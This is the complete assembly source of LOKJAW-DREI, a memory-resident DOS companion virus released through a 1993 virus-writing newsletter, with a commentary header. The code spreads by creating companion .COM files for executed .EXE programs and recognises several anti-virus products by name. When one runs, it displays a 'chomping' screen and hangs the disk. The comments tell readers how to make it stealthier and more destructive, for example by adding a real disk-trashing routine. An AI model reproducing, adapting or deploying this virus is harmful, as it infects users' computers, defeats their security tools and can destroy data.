;LOKJAW-DREI: an .EXE-infecting spawning virus with retaliatory ;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993. ; ;LOKJAW-DREI is a resident spawning virus which installs itself in ;memory using the same engine as the original Civil War/Proto-T virus. ;It is simpler in that none of its addresses have to be ;relative, an indirect benefit of the fact that the virus has no ;"appending" quality. That means, LOKJAW doesn't alter its "host" files, ;just like a number of other companion/spawning viruses published in ;previous newsletters. ; ;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating ;itself as companion .COMfile to the "host." Due to the inherent rules ;of DOS, this ensures the virus will be executed before the "host" the ;next time the infected program is used. In reality, LOKJAW is even ;simpler than that. If not in memory, the first time the host is ;called, LOKJAW will go resident and not even bother to load it. ;In most cases, the user will assume a slight error and call the host ;again, at which point it will function normally. LOKJAW will then infect ;every subsequent .EXE file called. LOKJAW is very transparent in operation, ;except when certain anti-virus programs (Integrity Master, McAfee's SCAN & ;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded. ; ;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly ;retaliating virus by quickly deleting the anti-virus program before it ;can execute and then displaying a "chomping" graphic. Even if the anti- ;virus program cannot detect LOKJAW in memory, it will be deleted. This ;makes it essential that the user know how to either remove the virus from ;memory before beginning anti-virus measures, or at the least run the ;anti-virus component from a write-protected disk. At a time when retail ;anti-virus packages are becoming more complicated - and more likely that the ;average user will run them from default installations on his hard file - ;LOKJAW's retaliating power makes it a potentially very annoying pest. ;A virus-programmer serious about inconveniencing a system could do a ;number of things with this basic idea. They are; ; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus ; instantly. ; 2. Alter the_stinger routine, so that the virus immediately attacks the ; hard file. The implementation is demonstrated by LOKJAW-DREI, which ; merely makes the disk inaccessible until a warm reboot if an anti-virus ; program is employed against it. By placing ; a BONA FIDE disk-trashing routine here, it becomes very hazardous for ; an unknowing user to employ anti-virus measures on a machine where ; LOKJAW or a LOKJAW-like program is memory resident. While LOCKAW and ; LOKJAW-ZWEI will produce write-protect errors if an anti-virus program ; is run against them from a write-protected diskette, LOKJAW-DREI ; won't. It will recognize the anti-virus program, display the "chomp" ; and mimic trashing the hard file. This effect makes the disk inacessible ; until the machine is rebooted. ; ;The anti-anti-virus strategies are becoming more common in viral programming. ;Mark Ludwig programmed the features of a direct-action retaliating ;virus in his "Computer Virus Developments Quarterly." Peach, Groove and ;Encroacher viruses attack anti-virus software by deletion of key files. ;And in this issue, the Sandra virus employs a number ;of anti-anti-virus features. ; ;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and ;DREI infected files from a system, simply delete the "companion" .COM ;duplicates of your executables. Ensure that the machine has been booted ;from a clean disk. To remove the LOKJAW .COM-appending virus, at this ;time it will be necessary for you to restore the contaminated files from ;a clean back-up. ; ;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion" ;files in plain sight. Generally, spawning viruses make themselves ;hidden-read-only-system files. This is an easy hack and the code is supplied ;in earlier issues of the newsletter. The modification is left to ;the reader as an academic exercise. .radix 16 cseg segment model small assume cs:cseg, ds:cseg, es:cseg org 100h oi21 equ endit filelength equ endit - begin nameptr equ endit+4 DTA equ endit+8 begin: jmp virus_install note: db '[lkW-d␍]..r$ņdM$' db 'H$.pGm.$..{pŔ-].⋆,$..' db '☞.w$' ;I.D. note: will doubtless ;show up in VSUM ;install virus_install: mov ax,cs ; reduce memory size dec ax mov ds,ax cmp byte ptr ds:[0000],5a jne cancel mov ax,ds:[0003] sub ax,100 mov ds:0003,ax Zopy_virus: mov bx,ax ; copy to claimed block mov ax,es add ax,bx mov es,ax mov cx,offset endit - begin mov ax,ds inc ax mov ds,ax lea si,ds:[begin] lea di,es:0100 rep movsb Grab_21: mov ds,cx ; hook int 21h mov si,0084h ; mov di,offset oi21 mov dx,offset check_exec lodsw cmp ax,dx ; je cancel ; exit, if already installed stosw movsw push es pop ds mov ax,2521h ; revector int 21h to virus int 21h cancel: ret check_exec: pushf push es ; push everything onto the push ds ; stack push ax push bx push dx cmp ax,04B00h ; is the file being jne abort ; executed? ;if yes, try the_stinger do_infect: call infect ; then try to infect abort: ; restore everything pop dx pop bx pop ax pop ds pop es popf Bye_Bye: ; exit jmp dword ptr cs:[oi21] new_24h: mov al,3 ; critical error handler iret infect: mov cs:[name_seg],ds ; here, the virus essentially mov cs:[name_off],dx ; copies the name of the cld ; loaded file into a buffer mov di,dx ; so that it can be compared push ds ; against the default names pop es ; in the_stinger mov al,'.' ; subroutine repne scasb ; <-- call the_stinger ; check for anti-virus load ; and deploy the_stinger cld mov word ptr cs:[nameptr],dx mov word ptr cs:[nameptr+2],ds mov ah,2Fh int 21h push es push bx push cs pop ds mov dx,offset DTA mov ah,1Ah int 21h call searchpoint push di mov si,offset COM_txt mov cx,3 rep cmpsb pop di jz do_com mov si,offset EXE_txt nop mov cl,3 rep cmpsb jnz return do_exe: mov si,offset COM_txt nop call change_ext mov ax,3300h nop int 21h push dx cwd inc ax push ax int 21h Grab24h: mov ax,3524h int 21h push bx push es push cs pop ds mov dx,offset new_24h mov ah,25h push ax int 21h lds dx,dword ptr [nameptr] ;create the virus (unique name) xor cx,cx mov ah,05Bh int 21 jc return1 xchg bx,ax ;save handle push cs pop ds mov cx,filelength ;cx= length of virus mov dx,offset begin ;where to start copying mov ah,40h ;write the virus to the int 21h ;new file mov ah,3Eh ; close int 21h return1: pop ax pop ds pop dx int 21h pop ax pop dx int 21h mov si,offset EXE_txt call change_ext return: mov ah,1Ah pop dx pop ds int 21H ret do_com: call findfirst cmp word ptr cs:[DTA+1Ah],endit - begin jne return mov si,offset EXE_txt call change_ext call findfirst jnc return mov si,offset COM_txt call change_ext jmp short return searchpoint: les di,dword ptr cs:[nameptr] mov ch,0FFh mov al,0 repnz scasb sub di,4 ret change_ext: call searchpoint push cs pop ds movsw movsw ret findfirst: lds dx,dword ptr [nameptr] mov cl,27h mov ah,4Eh int 21h ret the_stinger: cmp word ptr es:[di-3],'MI' ;Integrity Master je jumptoass cmp word ptr es:[di-3],'XR' ;VIRX je jumptoass cmp word ptr es:[di-3],'PO' ;VIRUSTOP jne next1 cmp word ptr es:[di-5],'TS' je jumptoass next1: cmp word ptr es:[di-3],'VA' ;AV = CPAV je jumptoass cmp word ptr es:[di-3],'TO' ;*prot = F-prot jne next2 cmp word ptr es:[di-5],'RP' je jumptoass next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan. jne next3 cmp word ptr es:[di-5],'CS' je jumptoass cmp word ptr es:[di-3],'NA' ;*lean = McAfee's CLEAN. jne next3 ; why not, eh? cmp word ptr es:[di-5],'EL' je jumptoass next3: ret jumptoass: jmp chomp ;assassination (deletion) ; of anti-virus program chomp: push cs ; chomper visual pop ds mov ah, 03h int 10h mov [c1], bh ; save cursor mov [c2], dh mov [c3], dl mov [c4], ch mov [c5], cl mov ah, 1 mov cl, 0 mov ch, 40h int 10h mov cl, 0 mov dl, 4Fh mov ah, 6 mov al, 0 mov bh, 0Fh mov ch, 0 mov cl, 0 mov dh, 0 mov dl, 4Fh int 10h mov ah, 2 mov dh, 0 mov dl, 1Fh mov bh, 0 int 10h mov dx,offset eyes ; print the eyes mov ah, 9 mov bl, 0Fh int 21h mov ah, 2 mov dh, 1 mov dl, 0 int 10h mov ah, 9 mov al, 0DCh mov bl, 0Fh mov cx, 50h int 10h mov ah, 2 mov dh, 18h mov dl, 0 int 10h mov ah, 9 mov al, 0DFh mov bl, 0Fh mov cx, 50h int 10h mov dl, 0 chomp_1: mov ah, 2 mov dh, 2 int 10h mov ah, 9 mov al, 55h mov bl, 0Fh mov cx, 1 int 10h mov ah, 2 mov dh, 17h inc dl int 10h mov ah, 9 mov al, 0EFh mov bl, 0Fh int 10h inc dl cmp dl, 50h jl chomp_1 mov [data_1], 0 chomp_3: mov cx, 7FFFh ; delays locloop_4: loop locloop_4 inc [data_1] cmp [data_1], 0Ah jl chomp_3 mov [data_1], 0 mov cl, 0 mov dl, 4Fh chomp_5: mov ah, 6 mov al, 1 mov bh, [data_2] mov ch, 0Dh mov dh, 18h int 10h mov ah, 7 mov al, 1 mov bh, [data_2] mov ch, 0 mov dh, 0Ch int 10h mov cx, 3FFFh ; delays locloop_6: loop locloop_6 inc [data_1] cmp [data_1], 0Bh jl chomp_5 mov [data_1], 0 chomp_7: mov cx, 7FFFh ; delays locloop_8: loop locloop_8 inc [data_1] cmp [data_1], 0Ah jl chomp_7 mov ah, 6 mov al, 0 mov bh, [data_2] mov ch, 0 mov cl, 0 mov dh, 18h mov dl, 4Fh int 10h mov cl, 7 mov ch, 6 int 10h mov ah, 2 mov bh, [c1] mov dh, [c2] mov dl, [c3] int 10h mov al, bh mov ah, 5 int 10h mov ah, 1 mov ch, [c4] mov cl, [c5] int 10h mov ax, 0003h int 10h ; sort of a cls mov ax, 00ffh mov si,0 ;scarey part: drive reads real scarey: lodsb ;fast ala Michelangelo-style mov ah,al ;over-write, but this routine only lodsb ;gets random bytes here for a and al,3 ;cylinder to READ mov dl,80h mov dh,al mov ch,ah mov cl,1 mov bx,offset last ;buffer to read into mov ax,201h int 13h ;jump into a loop, effectively hang machine jmp short scarey ;yow! scarey! just think if this ;was made by someone not as nice as ;me. ;It's not much of a stretch to ;imagine a routine for thumping ;the hard file in place of scarey. ;A retaliating virus of this ;nature is a distinct ;possibility. EXE_txt db 'EXE',0 COM_txt db 'COM',0 eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw data_1 db 0 data_2 db 0 last db 090H name_seg dw ? name_off dw ? c1 db 0 c2 db 0 c3 db 0 c4 db 0 c5 db 0 note2: db 'Lokjaw-Drei' endit: cseg ends end begin